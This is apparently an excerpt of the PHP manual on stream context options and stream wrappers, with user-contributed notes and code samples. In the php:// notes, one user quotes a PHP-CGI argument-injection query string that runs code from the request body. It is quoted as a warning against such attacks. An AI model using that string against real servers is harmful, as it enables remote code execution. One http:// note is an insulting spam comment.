The max number of redirects to follow. Value 1 or less means that no redirects are followed.

Defaults to 20.

curl_verify_ssl_host boolean

Verify the host.

Defaults to FALSE

Note:

This option is available for both the http and ftp protocol wrappers.

curl_verify_ssl_peer boolean

Require verification of SSL certificate used.

Defaults to FALSE

Note:

This option is available for both the http and ftp protocol wrappers.

Examples

Example #1 Fetch a page and send POST data

<?php

$postdata = http_build_query(
    array(
        'var1' => 'some content',
        'var2' => 'doh'
    )
);

$opts = array('http' =>
    array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => $postdata
    )
);

$context = stream_context_create($opts);

$result = file_get_contents('http://example.com/submit.php', false, $context);

?>

See Also

  • Socket context options

User Contributed Notes

There are no user contributed notes for this page.


Phar context option listing

  • « CURL context options
  • MongoDB context options »
  • PHP Manual
  • Context options and parameters
  • Phar context option listing

Phar context options

Phar context options — Phar context option listing

Description

Context options for phar:// wrapper.

Options

compress int

One of Phar compression constants.

metadata mixed

Phar metadata. See Phar::setMetadata().

See Also

  • phar://
  • Phar stream wrapper

User Contributed Notes

There are no user contributed notes for this page.


MongoDB context option listing

  • « Phar context options
  • Context parameters »
  • PHP Manual
  • Context options and parameters
  • MongoDB context option listing

MongoDB context options

MongoDB context options — MongoDB context option listing

Description

Context options for mongodb:// transports.

Options

log_cmd_insert callable

A callback function called when inserting a document, see log_cmd_insert().

log_cmd_delete callable

A callback function called when deleting a document, see log_cmd_delete().

log_cmd_update callable

A callback function called when updating a document, see log_cmd_update().

log_write_batch callable

A callback function called when executing a Write Batch, see log_write_batch().

log_reply callable

A callback function called when reading a reply from MongoDB, see log_reply().

log_getmore callable

A callback function called when retrieving more results from a MongoDB cursor, see log_getmore().

log_killcursor callable

A callback function called executing a killcursor opcode, see log_killcursor().

Changelog

Version | Description
pecl/mongo 1.5.0 | Added Write API Context options

See Also

  • Socket context options
  • SSL context options

User Contributed Notes

There are no user contributed notes for this page.


Context parameter listing

  • « MongoDB context options
  • Supported Protocols and Wrappers »
  • PHP Manual
  • Context options and parameters
  • Context parameter listing

Context parameters

Context parameters — Context parameter listing

Description

These parameters can be set on a context using the stream_context_set_params() function.

Parameters

notification callable

A callable to be called when an event occurs on a stream.

See stream_notification_callback for more details.

User Contributed Notes

There are no user contributed notes for this page.


Supported Protocols and Wrappers

PHP comes with many built-in wrappers for various URL-style protocols for use with the filesystem functions such as fopen(), copy(), file_exists() and filesize(). In addition to these wrappers, it is possible to register custom wrappers using the stream_wrapper_register() function.

Note: The URL syntax used to describe a wrapper only supports the scheme://... syntax. The scheme:/ and scheme: syntaxes are not supported.

Table of Contents

  • file:// — Accessing local filesystem
  • http:// — Accessing HTTP(s) URLs
  • ftp:// — Accessing FTP(s) URLs
  • php:// — Accessing various I/O streams
  • zlib:// — Compression Streams
  • data:// — Data (RFC 2397)
  • glob:// — Find pathnames matching pattern
  • phar:// — PHP Archive
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — Audio streams
  • expect:// — Process Interaction Streams

User Contributed Notes

vibhavsinha91 at gmail dot com 09-Sep-2014 07:35
While writing to error stream, error_log() function comes as a shorthand to writing to php://stderr . This function also allows writing to web server log when running through a web server such as apache.
Chris 06-May-2014 12:30
If you use php://input and want to make an array of it (like $_POST), make sure you explode the string by "&" then urldecode it or you could end up with blank array elements.  E.g.

<?php
$post = array_map('urldecode', explode('&', file_get_contents("php://input")));
oliver at codeinline dot com 14-Feb-2014 04:14
A useful way to handle large file uploads is to do something like:

copy(("php://input"),$tmpfile);

as this avoids using lots of memory just to buffer the file content.

The correct mime type for this should be "application/octet-stream" however if you set this or any other recognised mime type other than "multipart/form-data" on your POST then $HTTP_RAW_POST_DATA is populated and the memory is consumed anyway.

Setting the mime type to "multipart/form-data" raises “PHP Warning:  Missing boundary in multipart/form-data POST data in Unknown on line 0” however it seems to work without a problem.
dave at 4mation dot com dot au 03-Jun-2013 01:46
The use of php://temp/maxmemory as a stream counts towards the memory usage of the script; you are not specifying a new memory pool by using this type of stream.
As noted in the documentation however, this stream type will start to write to a file after the specified maxmemory limit is exceeded. This file buffer is NOT observed by the memory limit.
This is handy if you want your script to have a reasonably small memory limit (eg 32MB) but but still be able to handle a huge amount of data in a stream (eg 256MB)

The only works if you use stream functions like fputs(); if you use $buffer .= 'string'; or $buffer = $buffer . 'string'; you're calling your stream data back into PHP and this will hit the limiter.

As a practical example:

<?php
// 0.5MB memory limit
ini_set('memory_limit', '0.5M');
// 2MB stream limit
$buffer = fopen('php://temp/maxmemory:1048576', 'r+');
$x = 0;
// Attempt to write 1MB to the stream
while ($x < 1*1024*1024) {
    fputs($buffer, 'a');
    $x++;
}
echo "This will never be displayed";
?>

However, change fopen to use php://temp/maxmemory:1 (one byte, rather than one megabyte) and it will begin writing to the unlimited file stream immediately, avoiding memory limit errors.
Anonymous 02-May-2013 06:17
In PHP 5.4+ you can read multipart data via php://input if you set enable_post_data_reading to Off.

Of course if you set it to off, the $_POST and $_FILES superglobals won't be populated at all. It's entirely up to you to parse the data now.
Justin Megawarne 24-Apr-2013 01:42
If my understanding of the implementing code is correct, every time you open a php://memory stream, you get new storage allocated. That is to say, php://memory isn't a shared bank of memory.
fabacrans__ at __nospamhotmail__ dot __com 05-Mar-2013 09:06
You can use "php://input" to accept and parse "PUT", "DELETE", etc. requests.

<?php
// Example to parse "PUT" requests
parse_str(file_get_contents('php://input'), $_PUT);

// The result
print_r($_PUT);
?>

(very useful for Restful API)
php at rapsys dot eu 06-Aug-2012 11:00
Here is a snippet to read compressed raw post data without enabling global variables.

I needed it to read xml posted data submitted by ocs agent. The data was sent as Content-Type: application/x-compressed (zlib compressed data).

It seems related to an old bug which still seems broken :
https://bugs.php.net/bug.php?id=49411

The important part is the default window set to 15 instead of -15.

Code snippet
<?php
$data = '';
$fh = fopen('php://input', 'rb');
stream_filter_append($fh, 'zlib.inflate', STREAM_FILTER_READ, array('window'=>15));
while(!feof($fh)) {
    $data .= fread($fh, 8192);
}
?>
aaron dot mason+php at thats-too-much dot info 05-Jun-2012 10:46
Be aware of code injection, folks - like anything else you take from the user, SANITISE IT FIRST.  This cannot be stressed enough - if I had a dollar for each time I saw code where form input was taken and directly used (by myself as well, I've been stupid too) I'd probably own PHP.  While using data from a form in a URL wrapper is asking for trouble, you can greatly minimise the trouble by making sure your inputs are sane and not likely to provide an opening for the LulzSec of the world to cause havoc.
Toby 19-May-2012 07:12
Dangerous stuff. Had php injection attacks like:

?-dallow_url_include%253don+-dauto_prepend_file%253dphp://input

due to this
Anonymous 04-May-2012 04:00
For php://filter the /resource=foo part must come last. And foo needs no escaping at all.
php://filter/resource=foo/read=somefilter would try to open a file 'foo/read=somefilter' while php://filter/read=somefilter/resource=foo will open file 'foo' with the somefilter filter applied.
Rakesh Verma [rakeshnsony at gmail dot com] 19-Mar-2012 07:18
/**********************************/
Example JSON Request:
{
    "username" : "rakeshnsony",
    "password" : "abcdefg"
}
/**********************************/
<?php

//To access json format data
$requestBody = file_get_contents('php://input');
$requestBody = json_decode($requestBody);

echo "username is: ".$requestBody->username;

echo "<br /><br />";

echo "password is: ".$requestBody->password;
//
leonid at shagabutdinov dot com 23-Jul-2011 06:45
For https for windows enable this extension:

extension=php_openssl.dll
sebastian dot krebs at kingcrunch dot de 05-Feb-2011 01:49
The stream php://temp/maxmemory:$limit stores the data in memory unless the limit is reached. Then it will write the whole content the a temporary file and frees the memory. I didnt found a way to get at least some of the data back to memory.
gjaman at gmail dot com 15-May-2008 11:15
You can decompress (gzip) a input stream by combining wrappers:

eg:  $x = file_get_contents("compress.zlib://php://input");

I used this method to decompress a gzip stream that was pushed to my webserver
jerry at gii dot co dot jp 17-Aug-2007 07:11
Not only are STDIN, STDOUT, and STDERR only allowed for CLI programs, but they are not allowed for programs that are read from STDIN. That can confuse you if you try to type in a simple test program.
sander at medicore dot nl 14-Jun-2007 01:25
to create a raw tcp listener system i use the following:

xinetd daemon with config like:
service test
{
        disable      = no
        type         = UNLISTED
        socket_type  = stream
        protocol     = tcp
        bind         = 127.0.0.1
        port         = 12345
        wait         = no
        user         = apache
        group        = apache
        instances    = 10
        server       = /usr/local/bin/php
        server_args  = -n [your php file here]
        only_from    = 127.0.0.1 #gotta love the security#
        log_type     = FILE /var/log/phperrors.log
        log_on_success += DURATION
}

now use fgets(STDIN) to read the input. Creates connections pretty quick, works like a charm.Writing can be done using the STDOUT, or just echo. Be aware that you're completely bypassing the webserver and thus certain variables will not be available.
ben dot johansen at gmail dot com 25-Oct-2006 11:57
followup:

I found that if I added this line to the AJAX call, the values would show up in the $_POST

xhttp.setRequestHeader('Content-Type',
'application/x-www-form-urlencoded');
ben dot johansen at gmail dot com 29-Aug-2006 08:02
Example of how to use the php://input to get raw post data

//read the raw data in
$roughHTTPPOST = file_get_contents("php://input");
//parse it into vars
parse_str($roughHTTPPOST);

if you do readfile("php://input") you will get the length of the post data
ben dot johansen at gmail dot com 29-Aug-2006 09:33
In trying to do AJAX with PHP and Javascript, I came upon an issue where the POST argument from the following javascript could not be read in via PHP 5 using the $_REQUEST or $_POST. I finally figured out how to read in the raw data using the php://input directive.

Javascript code:
=============
      //create request instance
      xhttp = new XMLHttpRequest();
      // set the event handler
      xhttp.onreadystatechange = serviceReturn;
      // prep the call, http method=POST, true=asynchronous call
      var Args = 'number='+NbrValue;
      xhttp.open("POST", "http://<?php echo $_SERVER['SERVER_NAME'] ?>/webservices/ws_service.php", true);
      // send the call with args
      xhttp.send(Args);

PHP Code:
    //read the raw data in
    $roughHTTPPOST = file_get_contents("php://input");
    //parse it into vars
    parse_str($roughHTTPPOST);
heitorsiller at uol dot com dot br 07-Jul-2006 04:55
For reading a XML stream, this will work just fine:
<?php

$arq = file_get_contents('php://input');

?>

Then you can parse the XML like this:

<?php

$xml = xml_parser_create();

xml_parse_into_struct($xml, $arq, $vs);

xml_parser_free($xml);

$data = "";

foreach($vs as $v){

        if($v['level'] == 3 && $v['type'] == 'complete')
                $data .= "\n".$v['tag']." -> ".$v['value'];
}

echo $data;

?>

PS.: This is particularly useful for receiving mobile originated (MO) SMS messages from cellular phone companies.
nyvsld at gmail dot com 27-Nov-2005 07:28
php://stdin supports fseek() and fstat() function call,
while php://input doesn't.
drewish at katherinehouse dot com 25-Sep-2005 08:50
Be aware that contrary to the way this makes it sound, under Apache, php://output and php://stdout don't point to the same place.

<?php
$fo = fopen('php://output', 'w');
$fs = fopen('php://stdout', 'w');

fputs($fo, "You can see this with the CLI and Apache.\n");
fputs($fs, "This only shows up on the CLI...\n");

fclose($fo);
fclose($fs);
?>

Using the CLI you'll see:
  You can see this with the CLI and Apache.
  This only shows up on the CLI...

Using the Apache SAPI you'll see:
  You can see this with the CLI and Apache.
chris at free-source dot com 26-Apr-2005 09:52
If you're looking for a unix based smb wrapper there isn't one built in,  but I've had luck with http://www.zevils.com/cgi-bin/viewcvs.cgi/libsmbclient-php/ (tarball link at the end).
nargy at yahoo dot com 24-Sep-2004 12:16
When opening php://output in append mode you get an error, the way to do it:
$fp=fopen("php://output","w");
fwrite($fp,"Hello, world !<BR>\n");
fclose($fp);
aidan at php dot net 27-May-2004 12:34
The contants:

* STDIN
* STDOUT
* STDERR

Were introduced in PHP 4.3.0 and are synomous with the fopen('php://stdx') result resource.
lupti at yahoo dot com 29-Nov-2003 11:04
I find using file_get_contents with php://input is very handy and efficient. Here is the code:

$request = "";
$request = file_get_contents("php://input");

I don't need to declare the URL filr string as "r". It automatically handles open the file with read.

I can then use this $request string to your XMLparser as data.
sam at bigwig dot net 15-Aug-2003 05:02
[ Editor's Note: There is a way to know.  All response headers (from both the final responding server and intermediate redirecters) can be found in $http_response_header or stream_get_meta_data() as described above. ]

If you open an HTTP url and the server issues a Location style redirect, the redirected contents will be read but you can't find out that this has happened.

So if you then parse the returned html and try and rationalise relative URLs you could get it wrong.


Accessing local filesystem

  • « Supported Protocols and Wrappers
  • http:// »
  • PHP Manual
  • Supported Protocols and Wrappers
  • Accessing local filesystem

file://

file:// — Accessing local filesystem

Description

Filesystem is the default wrapper used with PHP and represents the local filesystem. When a relative path is specified (a path which does not begin with /, \, \\, or a Windows drive letter) the path provided will be applied against the current working directory. In many cases this is the directory in which the script resides unless it has been changed. Using the CLI sapi, this defaults to the directory from which the script was called.

With some functions, such as fopen() and file_get_contents(), include_path may be optionally searched for relative paths as well.

Usage

  • /path/to/file.ext
  • relative/path/to/file.ext
  • fileInCwd.ext
  • C:/path/to/winfile.ext
  • C:\path\to\winfile.ext
  • \\smbserver\share\path\to\winfile.ext
  • file:///path/to/file.ext

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Allows Reading | Yes
Allows Writing | Yes
Allows Appending | Yes
Allows Simultaneous Reading and Writing | Yes
Supports stat() | Yes
Supports unlink() | Yes
Supports rename() | Yes
Supports mkdir() | Yes
Supports rmdir() | Yes

Changelog

Version | Description
5.0.0 | Added file://.

User Contributed Notes

There are no user contributed notes for this page.


Accessing HTTP(s) URLs

  • « file://
  • ftp:// »
  • PHP Manual
  • Supported Protocols and Wrappers
  • Accessing HTTP(s) URLs

http://

https://

http:// -- https:// — Accessing HTTP(s) URLs

Description

Allows read-only access to files/resources via HTTP 1.0, using the HTTP GET method. A Host: header is sent with the request to handle name-based virtual hosts. If you have configured a user_agent string using your php.ini file or the stream context, it will also be included in the request.

The stream allows access to the body of the resource; the headers are stored in the $http_response_header variable.

If it's important to know the URL of the resource where your document came from (after all redirects have been processed), you'll need to process the series of response headers returned by the stream.

The from directive will be used for the From: header if set and not overwritten by the Context options and parameters.

Usage

  • http://example.com
  • http://example.com/file.php?var1=val1&var2=val2
  • http://user:password@example.com
  • https://example.com
  • https://example.com/file.php?var1=val1&var2=val2
  • https://user:password@example.com

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | Yes
Allows Reading | Yes
Allows Writing | No
Allows Appending | No
Allows Simultaneous Reading and Writing | N/A
Supports stat() | No
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Changelog

Version | Description
4.3.7 | Detect buggy IIS servers to avoid "SSL: Fatal Protocol Error" errors.
4.3.0 | Added https://.
4.0.5 | Added support for redirects.

Examples

Example #1 Detecting which URL we ended up on after redirects

<?php
$url = 'http://www.example.com/redirecting_page.php';

$fp = fopen($url, 'r');

$meta_data = stream_get_meta_data($fp);
foreach ($meta_data['wrapper_data'] as $response) {

    /* Were we redirected? */
    if (strtolower(substr($response, 0, 10)) == 'location: ') {

        /* update $url with where we were redirected to */
        $url = substr($response, 10);
    }

}

?>

Notes

Note: HTTPS is only supported when the openssl extension is enabled.

HTTP connections are read-only; writing data or copying files to an HTTP resource is not supported.

Sending POST and PUT requests, for example, can be done with the help of HTTP Contexts.

See Also

  • HTTP context options
  • $http_response_header
  • stream_get_meta_data() - Retrieves header/meta data from streams/file pointers

User Contributed Notes

dfgfdg at adf dot com 20-Sep-2014 07:39
sleep with your mom sleep with your mom sleep with your mom sleep with your mom sleep with your mom sleep with your mom sleep with your mom sleep with your mom sleep with your mom sleep with your mom sleep with your mom
NEA at AraTaraBul dot com 30-Jul-2007 01:06
HTTP post function;

<?php
function post_it($datastream, $url) {

$url = preg_replace("@^http://@i", "", $url);
$host = substr($url, 0, strpos($url, "/"));
$uri = strstr($url, "/");

      $reqbody = "";
      foreach($datastream as $key=>$val) {
          if (!empty($reqbody)) $reqbody.= "&";
      $reqbody.= $key."=".urlencode($val);
      }

$contentlength = strlen($reqbody);
     $reqheader =  "POST $uri HTTP/1.1\r\n".
                   "Host: $host\n". "User-Agent: PostIt\r\n".
     "Content-Type: application/x-www-form-urlencoded\r\n".
     "Content-Length: $contentlength\r\n\r\n".
     "$reqbody\r\n";

$socket = fsockopen($host, 80, $errno, $errstr);

if (!$socket) {
   $result["errno"] = $errno;
   $result["errstr"] = $errstr;
   return $result;
}

fputs($socket, $reqheader);

while (!feof($socket)) {
   $result[] = fgets($socket, 4096);
}

fclose($socket);

return $result;
}
?>
Sinured 28-Jun-2007 12:24
If you want to send more than one custom header, just make header an array:

<?php
$default_opts = array(
    'http' => array(
        'user_agent' => 'Foobar',
        'header' => array(
            'X-Foo: Bar',
            'X-Bar: Baz'
        )
    )
);
stream_context_get_default($default_opts);
readfile('http://www.xhaus.com/headers');
?>
dwalton at acm dot org 17-Nov-2006 09:18
As it says on this page:

"The stream allows access to the body of the resource; the headers are stored in the $http_response_header variable. Since PHP 4.3.0, the headers are available using stream_get_meta_data()."

This one sentence is the only documentation I have found on the mysterious $http_response_header variable, and I'm afraid it's misleading.  It implies that from 4.3.0 onward, stream_get_meta_data() ought to be used in favor of $http_response_header.

Don't be fooled!  stream_get_meta_data() requires a stream reference, which makes it ONLY useful with fopen() and related functions.  However, $http_response_header can be used to get the headers from the much simpler file_get_contents() and related functions, which makes it still very useful in 5.x.

Also note that even when file_get_contents() and friends fail due to a 4xx or 5xx error and return false, the headers are still available in $http_response_header.


Accessing FTP(s) URLs

  • « http://
  • php:// »
  • PHP Manual
  • Supported Protocols and Wrappers
  • Accessing FTP(s) URLs

ftp://

ftps://

ftp:// -- ftps:// — Accessing FTP(s) URLs

Description

Allows read access to existing files and creation of new files via FTP. If the server does not support passive mode ftp, the connection will fail.

You can open files for either reading or writing, but not both simultaneously. If the remote file already exists on the ftp server and you attempt to open it for writing but have not specified the context option overwrite, the connection will fail. If you need to overwrite existing files over ftp, specify the overwrite option in the context and open the file for writing. Alternatively, you can use the FTP extension.

If you have set the from directive in php.ini, then this value will be sent as the anonymous FTP password.

Usage

  • ftp://example.com/pub/file.txt
  • ftp://user:password@example.com/pub/file.txt
  • ftps://example.com/pub/file.txt
  • ftps://user:password@example.com/pub/file.txt

Options

Wrapper Summary
Attribute | PHP 4 | PHP 5
Restricted by allow_url_fopen | Yes | Yes
Allows Reading | Yes | Yes
Allows Writing | Yes (new files only) | Yes (new files/existing files with overwrite)
Allows Appending | No | Yes
Allows Simultaneous Reading and Writing | No | No
Supports stat() | No | As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only. As of PHP 5.1.0: filemtime().
Supports unlink() | No | Yes
Supports rename() | No | Yes
Supports mkdir() | No | Yes
Supports rmdir() | No | Yes

Changelog

Version | Description
4.3.0 | Added ftps://.

Notes

Note:

FTPS is only supported when the openssl extension is enabled.

If the server does not support SSL, then the connection falls back to regular unencrypted ftp.

Note: Appending
As of PHP 5.0.0 files may be appended via the ftp:// URL wrapper. In prior versions, attempting to append to a file via ftp:// will result in failure.

See Also

  • FTP context options

User Contributed Notes

fazil dot stormhammer dot nospam at gmail dot com 25-Apr-2008 10:41
Document says "Allows read access to existing files and creation of new files via FTP. If the server does not support passive mode ftp, the connection will fail. "

As of version 5.2.5 at least fopen("ftp://...") uses an ACTIVE mode connection by default (it issues an FTP PORT command but not a PASV command).  To force passive mode:

$f = fopen("ftp://...");
ftp_pasv($f, true);
26-Sep-2005 05:33
<?
$str ="replace all contenents";
$filew="ftp://gufo:gufo@192.168.1.55:21/jj.php";
$opts = array('ftp' => array('overwrite' => true));
$context = stream_context_create($opts);
$strwri = file_put_contents($filew,$str,LOCK_EX,$context);
?>
php at f00n dot com 04-Jul-2004 09:39
For Intranet purposes I found I preferred to move my file via ftp functions to match the session user's ftp account and put the file in a holding bay so I knew who it was from.

The FTP wrapper method will NOT do this if your ftp server does NOT support passive mode.

eg.  an ftp server behind NAT/routing


Accessing various I/O streams

  • « ftp://
  • zlib:// »
  • PHP Manual
  • Supported Protocols and Wrappers
  • Accessing various I/O streams

php://

php:// — Accessing various I/O streams

Description

PHP provides a number of miscellaneous I/O streams that allow access to PHP's own input and output streams, the standard input, output and error file descriptors, in-memory and disk-backed temporary file streams, and filters that can manipulate other file resources as they are read from and written to.

php://stdin, php://stdout and php://stderr

php://stdin, php://stdout and php://stderr allow direct access to the corresponding input or output stream of the PHP process. The stream references a duplicate file descriptor, so if you open php://stdin and later close it, you close only your copy of the descriptor-the actual stream referenced by STDIN is unaffected. Note that PHP exhibited buggy behavior in this regard until PHP 5.2.1. It is recommended that you simply use the constants STDIN, STDOUT and STDERR instead of manually opening streams using these wrappers.

php://stdin is read-only, whereas php://stdout and php://stderr are write-only.

php://input

php://input is a read-only stream that allows you to read raw data from the request body. In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA as it does not depend on special php.ini directives. Moreover, for those cases where $HTTP_RAW_POST_DATA is not populated by default, it is a potentially less memory intensive alternative to activating always_populate_raw_post_data. php://input is not available with enctype="multipart/form-data".

Note: Prior to PHP 5.6, a stream opened with php://input could only be read once; the stream did not support seek operations. However, depending on the SAPI implementation, it may be possible to open another php://input stream and restart reading. This is only possible if the request body data has been saved. Typically, this is the case for POST requests, but not other request methods, such as PUT or PROPFIND.

php://output

php://output is a write-only stream that allows you to write to the output buffer mechanism in the same way as print and echo.

php://fd

php://fd allows direct access to the given file descriptor. For example, php://fd/3 refers to file descriptor 3.

php://memory and php://temp

php://memory and php://temp are read-write streams that allow temporary data to be stored in a file-like wrapper. The only difference between the two is that php://memory will always store its data in memory, whereas php://temp will use a temporary file once the amount of data stored hits a predefined limit (the default is 2 MB). The location of this temporary file is determined in the same way as the sys_get_temp_dir() function.

The memory limit of php://temp can be controlled by appending /maxmemory:NN, where NN is the maximum amount of data to keep in memory before using a temporary file, in bytes.

php://filter

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.

The php://filter target takes the following parameters as part of its path. Multiple filter chains can be specified on one path. Please refer to the examples for specifics on using these parameters.

php://filter parameters
Name | Description
resource=<stream to be filtered> | This parameter is required. It specifies the stream that you would like to filter.
read=<filter list to apply to read chain> | This parameter is optional. One or more filter names can be provided here, separated by the pipe character (|).
write=<filter list to apply to write chain> | This parameter is optional. One or more filter names can be provided here, separated by the pipe character (|).
<filter list to apply to both chains> | Any filter lists which are not prefixed by read= or write= will be applied to both the read and write chains as appropriate.

Options

Wrapper Summary (for php://filter, refer to the summary of the wrapper being filtered)
Attribute | Supported
Restricted by allow_url_fopen | No
Restricted by allow_url_include | php://input, php://stdin, php://memory and php://temp only.
Allows Reading | php://stdin, php://input, php://fd, php://memory and php://temp only.
Allows Writing | php://stdout, php://stderr, php://output, php://fd, php://memory and php://temp only.
Allows Appending | php://stdout, php://stderr, php://output, php://fd, php://memory and php://temp only. (Equivalent to writing)
Allows Simultaneous Reading and Writing | php://fd, php://memory and php://temp only.
Supports stat() | php://memory and php://temp only.
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No
Supports stream_select() | php://stdin, php://stdout, php://stderr, php://fd and php://temp only.

Changelog

Version | Description
5.6.0 | php://input was made reusable.
5.3.6 | php://fd was added.
5.1.0 | php://memory and php://temp were added.
5.0.0 | php://filter was added.

Examples

Example #1 php://temp/maxmemory

This optional parameter allows setting the memory limit before php://temp starts using a temporary file.

<?php
// Set the limit to 5 MB.
$fiveMBs = 5 * 1024 * 1024;
$fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');

fputs($fp, "hello\n");

// Read what we have written.
rewind($fp);
echo stream_get_contents($fp);
?>

Example #2 php://filter/resource=<stream to be filtered>

This parameter must be located at the end of your php://filter specification and should point to the stream which you want filtered.

<?php
/* This is equivalent to simply:
  readfile("http://www.example.com");
  since no filters are actually specified */

readfile("php://filter/resource=http://www.example.com");
?>

Example #3 php://filter/read=<filter list to apply to read chain>

This parameter takes one or more filternames separated by the pipe character |.

<?php
/* This will output the contents of
  www.example.com entirely in uppercase */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");

/* This will do the same as above
  but will also ROT13 encode it */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
?>

Example #4 php://filter/write=<filter list to apply to write chain>

This parameter takes one or more filternames separated by the pipe character |.

<?php
/* This will filter the string "Hello World"
  through the rot13 filter, then write to
  example.txt in the current directory */
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>

User Contributed Notes

There are no user contributed notes for this page.


Compression Streams

  • « php://
  • data:// »
  • PHP Manual
  • Supported Protocols and Wrappers
  • Compression Streams

zlib://

bzip2://

zip://

zlib:// -- bzip2:// -- zip:// — Compression Streams

Description

zlib: PHP 4.0.4 - PHP 4.2.3 (systems with fopencookie only)

compress.zlib:// and compress.bzip2:// PHP 4.3.0 and up

zlib: works like gzopen(), except that the stream can be used with fread() and the other filesystem functions. This is deprecated as of PHP 4.3.0 due to ambiguities with filenames containing ':' characters; use compress.zlib:// instead.

compress.zlib:// and compress.bzip2:// are equivalent to gzopen() and bzopen() respectively, and operate even on systems that do not support fopencookie.

ZIP extension registers zip: wrapper.

Usage

  • compress.zlib://file.gz
  • compress.bzip2://file.bz2
  • zip://archive.zip#dir/file.txt

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Allows Reading | Yes
Allows Writing | Yes (except zip://)
Allows Appending | Yes (except zip://)
Allows Simultaneous Reading and Writing | No
Supports stat() | No, use the normal file:// wrapper to stat compressed files.
Supports unlink() | No, use the normal file:// wrapper to unlink compressed files.
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

User Contributed Notes

eragonjml at googlemail dot com 20-Sep-2013 02:00
@alvaro at demogracia dot com

well in fact that is wrong!
right code is:

<?php

$fp = fopen('compress.zip://./foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}

?>

as you might see you just have to add a "compress."

maybe when you posted this note is was right (2 years ago) but today its wrong... :/

sry for my english i am german :)
alvaro at demogracia dot com 12-Apr-2011 04:41
Example on how to read an entry from a ZIP archive (file "bar.txt" inside "./foo.zip"):

<?php

$fp = fopen('zip://./foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}

?>

Also, apparently, the "zip:" wrapper does not allow writing as of PHP/5.3.6. You can read http://php.net/ziparchive-getstream for further reference since the underlying code is probably the same.
joshualross at gmail dot com 19-Aug-2007 09:24
I had a difficult time finding how to use compress.zlib with an http resource so I thought I would post what I found
<?php
$file = 'compress.zlib://http://www.example.com/myarchive.gz';
$fr = fopen($file, 'rb');
?>

Per the bugreport I found here (http://bugs.php.net/bug.php?id=29045)


Data (RFC 2397)

  • « zlib://
  • glob:// »
  • PHP Manual
  • Supported Protocols and Wrappers
  • Data (RFC 2397)

data://

data:// — Data (RFC 2397)

Description

The data: (» RFC 2397) stream wrapper is available since PHP 5.2.0.

Usage

  • data://text/plain;base64,

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Restricted by allow_url_include | Yes
Allows Reading | Yes
Allows Writing | No
Allows Appending | No
Allows Simultaneous Reading and Writing | No
Supports stat() | No
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Examples

Example #1 Print data:// contents

<?php
// prints "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>

Example #2 Fetch the media type

<?php
$fp   = fopen('data://text/plain;base64,', 'r');
$meta = stream_get_meta_data($fp);

// prints "text/plain"
echo $meta['mediatype'];
?>

User Contributed Notes

from dot php dot net at brainbox dot cz 18-Nov-2010 01:37
When passing plain string without base64 encoding, do not forget to pass the string through URLENCODE(), because PHP automatically urldecodes all entities inside passed string (and therefore all + get lost, all % entities will be converted to the corresponding characters).

In this case, PHP is strictly compilant with the RFC 2397. Section 3 states that passes data should be either in base64 encoding or urlencoded.

VALID USAGE:
<?php
$fp = fopen('data:text/plain,'.urlencode($data), 'rb'); // urlencoded data
$fp = fopen('data:text/plain;base64,'.base64_encode($data), 'rb'); // base64 encoded data
?>

Demonstration of invalid usage:
<?php
$data = 'Günther says: 1+1 is 2, 10%40 is 20.';

$fp = fopen('data:text/plain,'.$data, 'rb'); // INVALID, never do this
echo stream_get_contents($fp);
// Günther says: 1 1 is 2, 10@ is 20. // ERROR

$fp = fopen('data:text/plain,'.urlencode($data), 'rb'); // urlencoded data
echo stream_get_contents($fp);
// Günther says: 1+1 is 2, 10%40 is 20. // OK

// Valid option 1: base64 encoded data
$fp = fopen('data:text/plain;base64,'.base64_encode($data), 'rb'); // base64 encoded data
echo stream_get_contents($fp);
// Günther says: 1+1 is 2, 10%40 is 20. // OK
?>
admin deskbitz net 02-May-2010 09:54
If you want to create a gd-image directly out of a sql-database-field you might want to use:

<?php
$jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata']));
?>

this goes also for gif, png, etc using the correct "imagecreatefrom$$$"-function and mime-type.
sandaimespaceman at gmail dot com 07-Sep-2008 03:30
Now PHP supports data: protocol w/out "//" like data:text/plain, not data://text/plain,

I tried it.


Find pathnames matching pattern

  • « data://
  • phar:// »
  • PHP Manual
  • Supported Protocols and Wrappers
  • Find pathnames matching pattern

glob://

glob:// — Find pathnames matching pattern

Description

The glob: stream wrapper is available since PHP 5.3.0.

Usage

  • glob://

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Restricted by allow_url_include | No
Allows Reading | No
Allows Writing | No
Allows Appending | No
Allows Simultaneous Reading and Writing | No
Supports stat() | No
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Examples

Example #1 Basic usage

<?php
// Loop over all *.php files in ext/spl/examples/ directory
// and print the filename and its size
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
tree.php: 1.0K
findregex.php: 0.6K
findfile.php: 0.7K
